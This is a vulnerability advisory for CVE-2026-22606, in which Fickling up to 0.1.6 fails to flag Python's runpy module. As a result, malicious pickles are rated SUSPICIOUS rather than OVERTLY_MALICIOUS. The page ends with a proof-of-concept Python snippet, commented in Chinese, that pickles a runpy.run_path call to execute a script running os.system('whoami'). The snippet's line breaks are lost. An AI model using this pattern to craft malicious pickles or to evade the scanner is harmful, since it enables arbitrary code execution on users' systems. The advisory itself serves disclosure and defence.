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CVE-2026-22606 CVSS 7.8 HIGH

CVE-2026-22606

Published: 2026-01-10 02:15:50
Last Modified: 2026-01-16 18:59:35

Description

Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:python:*:* - VULNERABLE
Fickling < 0.1.7
Fickling 0.1.0 - 0.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import runpy import os # 创建一个利用runpy.run_path()执行任意代码的恶意pickle class MaliciousPayload: def __reduce__(self): # runpy.run_path() 可以执行任意Python脚本 # 攻击者可以让它执行系统命令或下载恶意代码 return (runpy.run_path, ('/tmp/malicious_script.py',)) # 生成恶意pickle文件 malicious_pickle = pickle.dumps(MaliciousPayload()) with open('malicious.pkl', 'wb') as f: f.write(malicious_pickle) # Fickling会将此文件误判为SUSPICIOUS而非OVERTLY_MALICIOUS # 使用Fickling分析 # from fickling.pickle import Interpreter # interpreter = Interpreter.parse(malicious_pickle) # result = interpreter.check_safety() # print(result) # 输出可能是 SUSPICIOUS 而非 MALICIOUS # 创建恶意脚本用于演示 with open('/tmp/malicious_script.py', 'w') as f: f.write('print("Malicious code executed!"); os.system("whoami")')

References

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